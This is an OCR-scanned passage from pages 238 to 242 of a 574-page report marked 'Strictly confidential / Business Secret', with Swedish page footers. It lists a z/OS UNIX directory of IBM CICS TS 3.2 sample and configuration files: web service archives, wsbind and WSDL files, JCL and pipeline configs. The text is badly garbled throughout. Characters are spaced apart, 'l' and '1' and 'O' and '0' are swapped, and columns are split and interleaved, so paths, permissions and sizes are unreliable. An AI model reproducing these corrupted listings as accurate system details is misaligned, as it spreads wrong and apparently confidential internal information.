
- rwxrwx r - x  0 S U PERU S R  OMVS GRP 1 1 3 1 9  Oct 1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / u s e r outpu t c l a s s / c o m / ibm/ c i c s / s amp l e s / I B M / D F J @ H 1 7 3  

hrwxrwx r - x  0 S U PE RU S R  OMVSGRP O O c t  1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / u s e routpu t c l a s s / c om / ibm/ c i c s / s amp l e s / S JMe r g e dS t r e am . j av a  l i n k  

t o  / u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / u s e routput c l a s s / c o m / ibm/ c i c s / s amp l e s / I BM / D F J @ H 1 6 6  

hrwxrwx r - x  O SUPERUSR OMVS GRP O Oct 1 6  2 0 0 7  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / s amp l e s / u s e routpu t c l a s s / c om / ibm/ c i c s / s amp l e s / S JS t r e am . j av a  l i n k  t o  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / s amp l e s / u s e routput c l a s s / c o m / ibm/ c i c s / s amp l e s / I BM / D F J @ H 1 7 3  

hrwxrwx r - x  O SUPERUSR OMVSGRP O O c t  1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / u s e r output c l a s s / c o m / ibm/ c i c s / s amp l e s / S JT a s k S t r e am . j av a  l i n k  

t o  / u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / u s e r outpu t c l a s s / c om / ibm/ c i c s / s amp l e s / I BM / D F J @ H 1 6 7  

drwxrwx r - x  0 SUPERUSR OMVS GRP O Oct 1 1  2 0 0 7  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / s amp l e s / we b s e rvi c e s /  

drwxrwx r - x  O SUPERUSR OMVSGRP O O c t  1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / we b s ervi c e s / c l i e n t /  

- rwxrwx r - x  0 SUPERUSR OMVSGRP 5 2 1 7 6  O c t  1 6  2 0 0 7  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / s amp l e s / we b s e rvi c e s / c l i e n t / D i s p a t c h 0 r d e rV 6 . e a r  

- rwxrwx r - x  O SUPERUSR OMVSGRP 5 8 6 9 2 9  O c t  1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / w eb s e rvi c e s / c l i e n t / E x amp l eAppC l i e n t . e a r  

- rwxrwx r - x  0 SUPERUSR OMVSGRP 1 8 5 6 6 7  O c t  1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / w eb s e rv i c e s / c l i e n t / E x amp l eAppC l i e n t V 6 . e a r  

- rwxrwx r - x  O SUPERUSR OMVSGRP 5 0 4 2 2  O c t  1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / w eb s e rv i c e s / c l i e n t / E x amp l eApp D i s p a t chOrde r . e a r  

- rwxrwx r - x  0 SUPERUSR OMVS GRP 2 6 6 0 7 7  O c t  1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / w eb s e rv i c e s / c l i e n t / E x amp l eAppWr app e rC l i e n t . e a r  

drwxrwx r - x  0 SUPERUSR OMVS GRP O Oct 1 6  2 0 0 7  

/ u s r / lp p / c i c s t s / c i c s t s 3 2 / s amp l e s / we b s e rvi c e s / c l i e n t / I BM /  

hrwxrwx r - x  O SUPERUSR OMVS GRP O Oct 1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / we b s e rv i c e s / c l i e n t / I B M / D F J @ H 2 2 0  l i n k  t o  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / we b s e rvi c e s / c l i e n t / E x amp l eApp C l i e n t . e a r  

Strict ly confidenti a l  l Bus i ness Secret l 



hrwxrwx r - x  O SUPERUSR OMVSGRP O O c t  1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s /web s e rv i c e s / c l i e n t / I BM / D F J @ H 2 2 1  l i n k  t o  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / w eb s e rv i c e s / c l i e n t / E x amp l eApp D i s p a t chOrde r . e a r  

hrwx rwx r - x  O SUPERUSR OMVS GRP O Oct 1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / web s e rv i c e s / c l i e n t / I B M / D F J @ H 2 2 2  l i n k  t o  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / w eb s e rv i c e s / c l i e n t / E x amp l eAppWrapp e r C l i e n t . e a r  

hrwx rwx r - x  0 SUPERUSR OMVS GRP O Oct 1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / w eb s e rv i c e s / c l i e n t / I BM / D F J @ H 2 2 5  l i n k  t o  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / s amp l e s / w eb s e rv i c e s / c l i e n t / E x amp l eApp C l i e n tV 6 . e a r  

hrwxrwx r - x  0 S U PERUSR OMVSGRP O Oct 1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / w eb s e rv i c e s / c l i e n t / I BM / D F J @ H 2 2 6  l i n k  t o  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / we b s e rvi c e s / c l i e n t / D i s p a t ch0rderV 6 . e a r  

drwxrwx r - x  O S U PERU S R  OMVSGRP O O c t  1 1  2 0 0 7  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / s amp l e s / we b s e rv i c e s / w s b i nd /  

drwxrwx r - x  O SUPERUSR OMVSGRP O Oct 1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / w eb s e rv i c e s / w s b i n d / p r o v i de r /  

- rwxrwx r - x  0 SUPERUSR OMVSGRP 3 8 0 8  Oct 1 6  2 0 0 7  

Sidan 238 av 574 

Report 

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / w eb s e rv i c e s / w s b i n d / p r o v i de r / d i s pa t chOrderEndp o i n t . w s b i n d  

- rwxrwx r - x  0 S U PERUSR OMV S GRP 8 5 5 2  Oct 1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / web s e rv i c e s / w s b i n d / p ro v i de r / i n qu i r e C a t a l o g . w s b i n d  

- rw x r wx r - x  O S U P E RU S R  OMVS GRP 5 4 0 0  Oct 1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / w eb s e rv i c e s / w s b i n d / p r o v i de r / i n qu i r e C a t a l o gWrappe r . w s b i n d  

- rwxrwx r - x  0 SUPERUSR OMVS GRP 8 4 8 8  Oct 1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / we b s e rv i c e s / w s b i n d / p r o v i de r / i n qu i r e S i n g l e . w s b i n d  

- rwxrwx r - x  0 S U PERUSR OMVS GRP 4 7 3 6  Oct 1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / web s e rv i c e s / w s b i n d / p r o v i de r / i n qu i r e S i n g l eWrappe r . w s b i n d  

- rwxrwxr - x  0 S U P E RU S R  OMVS GRP 6 2 4 0  Oct 1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / web s e rv i c e s / w s b i n d / p r o v i de r / p l a c e 0 r de r . w s b i n d  

- rwxrwx r - x  O SUPERUSR OMV S GRP 4 1 7 6  Oct 1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / w eb s e rv i c e s / w s b i nd / p r o v i de r / p l a c e O r d e rWrappe r . w s b i n d  

drwxrwx r - x  0 S U PERUSR OMVS GRP O Oct 1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / web s e rv i c e s / w s b i n d / p r o v i de r / I BM /  

hrwxrwx r - x  0 S U PERU S R  OMVS GRP O Oct 1 6  2 0 0 7  

/ u s r / l p p / c i c s t s / c i c s t s 3 2 / s amp l e s / w eb s e rv i c e s / w s b i n d / p r o v i de r / I B M / D F J @ H 2 0 2  l i n k  t o  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / w eb s e rv i c e s / w s b i n d / p r o v i de r / d i s p a t chOrderEndp o i n t . w s b i n d  

hrwxrwx r - x  0 S U PE RU S R  OMVS GRP O Oct 1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / w eb s e rv i c e s / w s b i n d / p r o v i de r / I BM / D F J @ H 2 0 3  l i n k  t o  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / s amp l e s / web s e rv i c e s / w s b i n d / p r o v i de r / i n qu i r e C a t a l o g . w s b i n d  

hrwxrwx r - x  O S U PERU S R  OMVSGRP O O c t  1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / web s e rv i c e s / w s b i n d / p r o v i de r / I BM / D F J@ H 2 0 4  l i n k  t o  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / w eb s e rv i c e s / w s b i n d / p r o v i de r / i n qu i r e S i n g l e . w s b i n d  

hrwxrwx r - x  0 S U PERU S R  OMV S GRP O Oct 1 6  2 0 0 7  

/ u s r / l p p / c i c s t s / c i c s t s 3 2 / s amp l e s / w eb s e rv i c e s / w s b i nd / p r o v i de r / I BM / D F J @ H 2 0 5  l i n k  t o  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / s amp l e s / w eb s e rv i c e s / w s b i nd / p r o v i de r / p l a c e 0 r de r . w s b i n d  

hrwxrwx r - x  O S U PE RU S R  OMVS GRP O Oct 1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / w eb s e rv i c e s / w s b i nd / p r o v i de r / I B M / D F J @ H 2 1 4  l i n k  t o  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / s amp l e s / w eb s e rv i c e s / w s b i n d / p r o v i de r / i n qu i r e C a t a l ogWrappe r . w s b i n d  

Strict ly conti dent ia  l l Bus i ness Secret l 



h rwxrwx r - x  O SUPERUSR OMVSGRP O Oct 1 6  2 0 0 7  

Sidan 239 av 574 

Report 

/ u s r / 1 p p / c i c s t s / c i c s t s 3 2 / s amp 1 e s / we b s e rv i c e s / w s b i n d / p r o v i de r / I B M / D F J @ H 2 1 5  1 i n k  t o  

/ u s r / 1 pp / c i c s t s / c i c s t s 3 2 / s amp 1 e s / w eb s e rv i c e s / w s b i n d / p r o v i de r / i n qu i r e S i n g 1 eW r app e r . w s b i n d  

hrwxrwx r - x  O SUPERUSR OMVS GRP O Oct 1 6  2 0 0 7  

/ u s r / 1 pp / c i c s t s / c i c s t s 3 2 / s amp 1 e s / we b s e rv i c e s / w s b i n d / p r o v i de r / I BM / D F J @ H 2 1 6  1 i n k  t o  

/ u s r / 1pp / c i c s t s / c i c s t s 3 2 / s amp 1 e s / w eb s e rv i c e s / w s b i n d / p r o v i de r / p 1 a c e O rderWrappe r . w s b i n d  

drwxrwx r - x  0 SUPERUSR OMVS GRP O Oct 1 6  2 0 0 7  

/ u s r / 1 pp / c i c s t s / c i c s t s 3 2 / s amp 1 e s / we b s e rv i c e s / w s b i n d / r e qu e s t e r /  

- rwxrwx r - x  O SUPERUSR OMVS GRP 3 8 0 8  Oct 1 6  2 0 0 7  

/ u s r / 1 p p / c i c s t s / c i c s t s 3 2 / s amp 1 e s / w eb s e rv i c e s / w s b i n d / r e qu e s t e r / di s p a t ch0rde r . w s b i n d  

- rwxrwx r - x  0 S U PE RU S R  OMVSGRP 8 4 8 8  Oct 1 6  2 0 0 7  

/ u s r / 1pp / c i c s t s / c i c s t s 3 2 / s amp 1 e s / w eb s e rv i c e s / w s b i n d / r e que s t e r / i n qu i r e C a t a 1 o g C l i e n t . w s b i n d  

- rwxrwx r - x  O S U PE RU S R  OMVS GRP 8 4 3 2  Oct 1 6  2 0 0 7  

/ u s r / 1pp / c i c s t s / c i c s t s 3 2 / s amp 1 e s / we b s e rv i c e s / w s b i n d / r e qu e s t e r / i n qu i r e S i n g1 e C 1 i e n t . w s b i n d  

- rwxrwx r - x  0 S U PERU S R  OMVS GRP 6 1 8 4  Oct 1 6  2 0 0 7  

/ u s r / 1 pp / c i c s t s / c i c s t s 3 2 / s amp 1 e s / w eb s e rv i c e s / w s b i n d / r e que s t e r / p 1 a c e O r d e r C 1 i e n t . w s b i n d  

drwxrwx r - x  0 S U P E RU S R  OMVS GRP O Oct 1 6  2 0 0 7  

/ u s r / 1 p p / c i c s t s / c i c s t s 3 2 / s amp 1 e s / w eb s e rv i c e s / w s b i n d / r e qu e s t e r / I B M /  

hrwxrwx r - x  O S U PE RU S R  OMVSGRP O Oct 1 6  2 0 0 7  

/ u s r / 1 p p / c i c s t s / c i c s t s 3 2 / s amp 1 e s / we b s e rv i c e s / w s b i n d / r e qu e s t e r / I BM / DFJ@ H2 0 6  1 i n k  t o  

/ u s r / 1pp / c i c s t s / c i c s t s 3 2 / s amp 1 e s / web s e rv i c e s / w s b i n d / r e qu e s t e r / di s p a t ch0rde r . w s b i n d  

h rwxrwx r - x  0 S U PE RU S R  OMVS GRP O Oct 1 6  2 0 0 7  

/ u s r / 1pp / c i c s t s / c i c s t s 3 2 / s amp 1 e s / w eb s e rv i c e s / w s b i n d / r e qu e s t e r / I BM / D F J @ H 2 1 7  1 i n k  t o  

/ u s r / 1 pp / c i c s t s / c i c s t s 3 2 / s amp 1 e s / we b s e rv i c e s / w s b i n d / r e qu e s t e r / i n qu i re C a t a 1 o g C 1 i e n t . w s b i n d  

hrwxrwx r - x  O SUPERUSR OMVS GRP O Oct 1 6  2 0 0 7  

/ u s r / 1 pp / c i c s t s / c i c s t s 3 2 / s amp 1 e s / we b s e rv i c e s / w s b i n d / r e que s t e r / I BM / D F J @ H2 1 8  1 i n k  t o  

/ u s r / 1pp / c i c s t s / c i c s t s 3 2 / s amp 1 e s / w eb s e rv i c e s / w s b i n d / r e qu e s t e r / i n qu i r e S i n g 1 e C 1 i e n t . w s b i n d  

h rwxrwx r - x  O S U PERUSR OMVSGRP O O c t  1 6  2 0 0 7  

/ u s r / 1pp / c i c s t s / c i c s t s 3 2 / s amp 1 e s / we b s e rv i c e s / w s b i n d / r e qu e s t e r / I BM / D F J @ H 2 1 9  1 i n k  t o  

/ u s r / 1 pp / c i c s t s / c i c s t s 3 2 / s amp 1 e s / w eb s e rv i c e s / w s b i n d / r e qu e s t e r / p 1 a c e O r d e r C 1 i e n t . w s b i n d  

drwxrwx r - x  O S U PERU S R  OMVS GRP O Oct 1 6  2 0 0 7  

/ u s r / 1pp / c i c s t s / c i c s t s 3 2 / s amp 1 e s / web s e rv i c e s / w s d1 / 

- rwxrwx r - x  O S U PE RU S R  OMVS GRP 6 9 2 7  O c t  1 6  2 0 0 7  

/ u s r / 1pp / c i c s t s / c i c s t s 3 2 / s amp 1 e s / web s e rv i c e s / w s d1 / di s p a t c h 0 r de r . w s d1 

- rwxrwx r - x  0 S U PERU S R  OMVS GRP 2 2 8 7 6  Oct 1 6  2 0 0 7  

/ u s r / 1 pp / c i c s t s / c i c s t s 3 2 / s amp 1 e s / web s e rv i c e s / w s d 1 / i n qu i r e C a t a 1 o g . w s d 1  

- rwxrwx r - x  0 S U PERU S R  OMVS GRP 1 4 9 1 1  Oct 1 6  2 0 0 7  

/ u s r / 1 pp / c i c s t s / c i c s t s 3 2 / s amp 1 e s / web s e rv i c e s / w s d1 / i n qu i r e C a t a 1 o gWrappe r . w s d 1  

- rwxrwx r - x  0 SUPERUSR OMVSGRP 2 2 8 4 5  Oct 1 6  2 0 0 7  

/ u s r / 1 pp / c i c s t s / c i c s t s 3 2 / s amp 1 e s / web s e rv i c e s / w s d 1 / i n qu i r e S i n g 1 e . w s d 1  

- rwxrwx r - x  0 S U P E R U S R  OMVSGRP 1 2 7 7 5  Oct 1 6  2 0 0 7  

/ u s r / 1 pp / c i c s t s / c i c s t s 3 2 / s amp 1 e s / w eb s e rv i c e s / w s d1 / i n qu i r e S i n g 1 eW r appe r . w s d 1  

- rwxrwx r - x  O SUPERUSR OMVS GRP 1 5 0 3 2  Oct 1 6  2 0 0 7  

/ u s r / 1 pp / c i c s t s / c i c s t s 3 2 / s amp 1 e s / w eb s e rv i c e s / w s d 1 / p 1 a c e 0 r de r . w s d 1  

- rwxrwx r - x  0 SUPERUSR OMVS GRP 9 5 4 1  Oct 1 6  2 0 0 7  

/ u s r / 1 pp / c i c s t s / c i c s t s 3 2 / s amp 1 e s / w e b s e rv i c e s / w s d 1 / p 1 a c e Orde rWrappe r . w s d 1  

drwxrwx r - x  O S U PERUSR OMVSGRP O Oct 1 6  2 0 0 7  

/ u s r / 1 pp / c i c s t s / c i c s t s 3 2 / s amp 1 e s / w e b s e rv i c e s / w s d1 / I BM /  

Strictly conti dent ia  l l Bus i ness Secret l 



hrwxrwx r - x  O S U PE RU S R  OMVSGRP O O c t  1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / we b s e rvi c e s / w s dl / I B M / D F J @ H 1 9 8  l i n k  t o  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / w eb s e rvi c e s / w s dl / di s p a t ch0rde r . w s d l  

hrwxrwx r - x  0 SUPERUSR OMVS GRP O Oct 1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / we b s e rvi c e s / w s dl / I BM / D F J @ H 1 9 9  l i n k  t o  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / we b s e rvi c e s / w s d l / i n qu i r e C a t a l o g . w s d l  

hrwxrwx r - x  0 SUPERUSR OMVS GRP O Oct 1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / web s e rvi c e s / w s dl / I B M / D F J @ H 2 0 0  l i n k  t o  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / s amp l e s / we b s e rvi c e s / w s dl / i n qu i r e S i n g l e . w s dl 

hrwxrwx r - x  O S U PERU S R  OMVSGRP O O c t  1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / we b s e rvi c e s / w s dl / I B M / D F J @ H 2 0 1  l i n k  t o  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / w eb s e rvi c e s / w s d l / p l a c e 0 r de r . w s d l  

hrwxrwx r - x  O S U PERUSR OMVS GRP O Oct 1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / we b s e rvi c e s / w s dl / I BM / D F J @ H2 1 1  l i n k  t o  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / w eb s e rvi c e s / w s dl / i n qu i r e C a t a l ogWrappe r . w s d l  

h rwxrwx r - x  0 S U PERUSR OMVSGRP O O c t  1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / we b s e rv i c e s / w s dl / I BM / D F J @ H 2 1 2  l i n k  t o  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / we b s e rvi c e s / w s d l / i nqu i r e S i n g l eWrappe r . w s d l  

hrwxrwx r - x  O S U PERUSR OMVS GRP O Oct 1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / w e b s e rv i c e s / w s dl / I B M / D F J @ H 2 1 3  l i n k  t o  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / we b s e rv i c e s / w s d l / p l a c e O r de rWrappe r . w s dl 

drwxrwx r - x  O S U PERU S R  OMVS GRP O Oct 1 6  2 0 0 7  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / s amp l e s / we b s e rv i c e s / JC L /  

drwxrwx r - x  0 S U PERU S R  OMVS GRP O Oct 1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / w eb s e rv i c e s / JC L / I BM /  

- rwxrwx r - x  O S U PERU S R  OMVS GRP 4 6 3  Oct 1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / we b s e rv i c e s / JC L / I BM / D F J @ H 1 9 6  

- rwxrwx r - x  0 S U PERUSR OMVS GRP 6 7 1  Oct 1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / web s e rv i c e s / JC L / I B M / D F J @ H 1 9 7  

hrwxrwx r - x  O SUPERUSR OMVSGRP O O c t  1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / web s e rvi c e s / JC L / L S 2 W S  l i n k  t o  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / s amp l e s / w eb s e rv i c e s / JC L / I BM / D F J @ H 1 9 6  

hrwxrwx r - x  O S U PERUSR OMVSGRP O O c t  1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / web s e rv i c e s / JC L / W S 2 L S  l i n k  t o  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / s amp l e s / web s e rv i c e s / JC L / I BM / D F J @ H 1 9 7  

Sidan 240 av 574 

Report 

drwxrwx r - x  O S U PERU S R  OMVSGRP O O c t  1 6  2 0 0 7  / u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / w s - t ru s t /  

- rwxrwx r - x  0 S UPERUSR OMVSGRP 

t r u s t / d f h $ wb x 2  t r a n s f o rma t i on 1 . x s l  

- rwxrwx r - x  O S U PERU S R  OMVSGRP 

t r u s t / d fh $ wb x 2  t r a n s f o rma t i o n 2 . x s l  

drwxrwx r - x  0 S U PERUSR OMVS GRP 

t ru s t / I B M /  

hrwxrwx r - x  0 S U PERUSR OMVS GRP 

4 2 5 1  Oct 1 6  2 0 0 7  / u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / w s -

4 2 5 1  O c t  1 6  2 0 0 7  / u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / w s -

O O c t  1 6  2 0 0 7  / u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / w s -

O O c t  1 6  2 0 0 7  / u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / w s -

t r u s t / I BM / D F J @ H 2 3 2  l i n k  t o  / u s r / lpp / c i c s t s / c i c s t s 3 2 / s amp l e s / w s 

t r u s t / d f h $ wb x 2 _t r an s f o rma t i o n 1 . x s l  

hrwxrwx r - x  O S U PERU S R  OMVS GRP O O c t  1 6  2 0 0 7  / u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / w s -

t r u s t / I BM / D F J @ H 2 3 3  l i n k  t o  / u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / w s -

t ru s t / d f h $ wb x 2  t r a n s f o rma t i on 2 . x s l  

drwx- - - - - - O DAF1 4 7 3  V0 7 7  O May 2 7  2 0 1 1  / u s r / 1pp / ci c s t s / c i c s ts 3 2 / s emc i c a 3 /  
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Sidan 24 1 av 57 4 
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- rwx- - - - - - O DAF1 4 7 3  V0 7 7  5 8 0  May 2 7  2 0 1 1  / u s r / lpp /cics t s / c i c s ts 3 2 / semcica3 / aedit 

drwxrwxrwx O DAF1 4 7 3  V0 7 7  O May 2 7  2 0 1 1  /usr/ lpp / c i c s t s / c i c s ts 3 2 / semcica3 / config/ 

- rwxrwxr-x O DAF1 4 7 3  V0 7 7  2 5 2  May 2 7  2 0 1 1  
/usr/ lpp / c i c s t s / c i c s ts 3 2 / semci ca3 / config/bas icsoap l l reque s ter . xml 

- rwxrwxrwx O DAF1 4 7 3  V0 7 7  2 6 5  May 2 7  2 0 1 1  
/ u s r / 1pp / ci c s ts / ci c s ts 3 2 / semcica3 / config/serviceProvider . xml 

- rwxrwxrwx O DAF1 4 7 3  V0 7 7  2 8 9  May 2 7  2 0 1 1  
/ u s r / 1pp / ci c s ts / cics t s 3 2 / semc i ca3 / config/serviceReque s ter . xm1 

drwxrwxrwx O DAF1 4 7 3  V0 7 7  O May 2 7  2 0 1 1  / u s r / 1pp/ cicsts / c i c s ts 3 2 / semcica3 / s h e 1 f /  

drwxr-xr-x O DAF1 4 7 3  V0 7 7  O May 2 7  2 0 1 1  

/ u s r / 1pp / ci c s t s / cics t s 3 2 / s emcica3 / she 1 f / SEMC I CA3 / 

drwxr-xr-x O DAF1 4 7 3  V0 7 7  O May 2 7  2 0 1 1  
/ u s r / 1pp / ci c s ts / cics t s 3 2 / s emcica3 / she1f/ SEMCICA3 / P I PELINE /  

drwxr-xr-x O DAF 1 4 7 3  V0 7 7  O May 2 7  2 0 1 1  

/usr/ 1pp/ c i c s t s / c i c s ts 3 2 / semci c a 3 / she 1 f / SEMCICA3 / P I PELINE / PIRQ 1 1 /  

- rwxr -xr-x O DAF1 4 7 3  V0 7 7  2 8 9  May 2 7  2 0 1 1  
/ u s r / 1pp / c i c s t s / c i c s ts 3 2 / semcica3 / she 1 f / SEMCICA3 / P I PELINE / P I RQ 1 1 / servi ceReque s ter . xm1 

drwxrwxrwx o DAF1 4 7 3  V0 7 7  o May 2 7  2 0 1 1  / u s r / 1pp/ c i c s ts / c i c s ts 3 2 / semcica3 /wsbind/ 

drwxr-xr-x o DAF1 4 7 3  V0 7 7  o May 2 7  2 0 1 1  

/ u s r / 1pp / c i c s t s / ci c s ts 3 2 / semcica3 /wsbind/reque s ter/ 

drwxr-xr-x o DAF1 4 7 3  V0 7 7  o May 2 7  2 0 1 1  / u s r / 1pp / cicsts / c i c s ts 3 2 / semcica3/wsd1 /  

drwxrwxrwx o 2 3 1 2 3 1  V0 7 7  o Nov 1 8  2 0 0 8  / u s r / 1pp / ci c s ts / c i c s ts 3 2 / s emci ca4 / 

- rwx - - - - - - o DAF 1 4 7 3  V0 7 7  5 8 0  Nov 1 8  2 0 0 8  / u s r / 1pp/ ci c s t s / c i c s ts 3 2 / semcica4 / aedi t  

drwxrwxrwx o 2 3 1 2 3 1  V0 7 7  o Nov 1 8  2 0 0 8  / u s r / 1pp / c i c s t s / c i c s ts 3 2 / semcica4 / config/ 

- rwxrwxr-x o DAF1 4 7 3  V0 7 7  2 5 2  Nov 1 8  2 0 0 8  

/ u s r / 1pp / ci c s ts / ci c s ts 3 2 / s emci ca4 / config/bas i c so ap l l reque s ter . xm1 

- rwxrwxrwx O 2 3 1 2 3 1  V0 7 7  2 6 5  Apr l 2 0 0 8  
/ u s r / 1pp / c i c s t s / c i c s ts 3 2 / semci c a 4 / config / s e rviceProvider . xm1 

- rwxrwxrwx O DAF1 4 7 3  V0 7 7  2 8 9  Nov 1 8  2 0 0 8  

/ u s r / 1pp / c i c s t s / c i c s ts 3 2 / semcica4 / config/ serviceReque s ter . xm1 

- rwxrwxrwx O 2 3 1 2 3 1  V0 7 7  2 6 5 Apr l 2 0 0 8  
/ u s r / 1pp / c i c s t s / c i c s ts 3 2 / s emci ca4 / config/ sps oapprovider . xm1 

drwxrwxrwx O 2 3 1 2 3 1  V0 7 7  O Feb 1 2  0 4 : 1 1 / us r / 1pp / c i c s t s / c i c s ts 3 2 / semcica4 / she 1 f /  

drwxr-xr - x  O BPXDFLTU V0 7 7  O Feb 1 2  0 4 : 1 1 

/ u s r / 1pp / c i c s t s / c i c s ts 3 2 / s emci ca4 / she 1 f / SEMC I CA4 / 

drwxr-xr-x O BPXDFLTU V0 7 7  O Feb 1 2  0 4 : 1 1 
/ u s r / 1pp / c i c s t s / c i c s ts 3 2 / s emcica4 / s he 1 f / SEMC ICA4 / P I PELINE /  

drwxr-xr-x O BPXDFLTU V0 7 7  O Feb 1 2  0 4 : 1 1  

/ u s r / 1pp/ c i c s t s / c i c s ts 3 2 / semcica 4 / she 1 f / SEMC I CA4 / P I PELINE / P I RQ 1 1 /  

- rwxr -xr-x O BPXDFLTU V0 7 7  2 8 9  Feb 1 2  0 4 : 1 1 
/ u s r / 1pp / c i c s t s / c i c s ts 3 2 / s emci ca4 / she 1 f / SEMC I CA4 / P I PELINE / P IRQ1 1 / se rviceReque s ter . xm1 

drwxr-xr-x O BPXDFLTU V0 7 7  O Feb 1 2  0 4 : 1 1  

/ u s r / 1pp / c i c s ts / ci c s ts 3 2 / semci ca4 / she 1 f / SEMC I CA4 / P I PELINE / S P P I PE 0 1 /  

Strictly confident i a l  l Bus i ness Secret l 



Sidan 242 av 574 

Report 

- rwxr-xr-x O BPXDFLTU V0 7 7  2 6 5  Feb 1 2  0 4 : 1 1 

/us r / lpp/ ci c s ts / c i c s ts 3 2 / s emci ca 4 / she l f / SEMC I CA4 / P I PELINE / S P P I PE 0 1 / servi ce Provider . xml 

drwxrwxrwx O 2 3 1 2 3 1  V0 7 7  O Apr l 2 0 0 8  
/us r / lpp / c i c s t s / c i c s ts 3 2 / s emci ca4 / she l f / SEMCICH1 / 

drwxrwxrwx O 2 3 1 2 3 1  V0 7 7  O Apr l 2 0 0 8  

/us r / lpp / cicsts / c i c s ts 3 2 / semcica4 / shel f / SEMCICH1 / P I PELINE /  

drwxrwxrwx O 2 3 1 2 3 1  V0 7 7  O Apr l 2 0 0 8  
/us r / lpp/ cicsts / ci c s t s 3 2 / semcica4 / she 1 f / SEMC I CH1 / P I PELINE / S P P I PE 0 1 /  

- rwxrwxrwx O 2 3 1 2 3 1  V0 7 7  2 6 5 Apr l 2 0 0 8  

